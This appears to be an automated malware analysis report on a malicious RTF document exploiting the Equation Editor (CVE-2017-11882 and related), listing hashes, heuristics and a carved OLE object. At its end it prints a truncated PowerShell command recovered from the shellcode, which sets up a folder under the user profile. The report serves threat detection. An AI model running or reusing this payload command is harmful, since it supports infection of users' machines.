Malicious RTF — malware analysis report

Static analysis result for SHA-256 78ab11a6f04a5183…

MALICIOUS

RTF

8.0 KB First seen: 2020-12-28
MD5: c6a8ff03b255c452dcbf6a398dc4343d SHA-1: d93da97272f020a53df11edd2f5fa53bfb435cfc SHA-256: 78ab11a6f04a5183fb43921fd0d8704088f41cb8bee7a5eb37f7400f21b4843f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code on the victim's machine, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings within the extracted artifact further supports this attack vector.

Heuristics 4

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000001c9.bin rtf-objdata-decoded RTF \objdata at offset 0x1C9 3583 bytes
SHA-256: 194d884f0e83d0664e182247ff06d368c47e19dd6d5fd2855be5f42d31767939
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE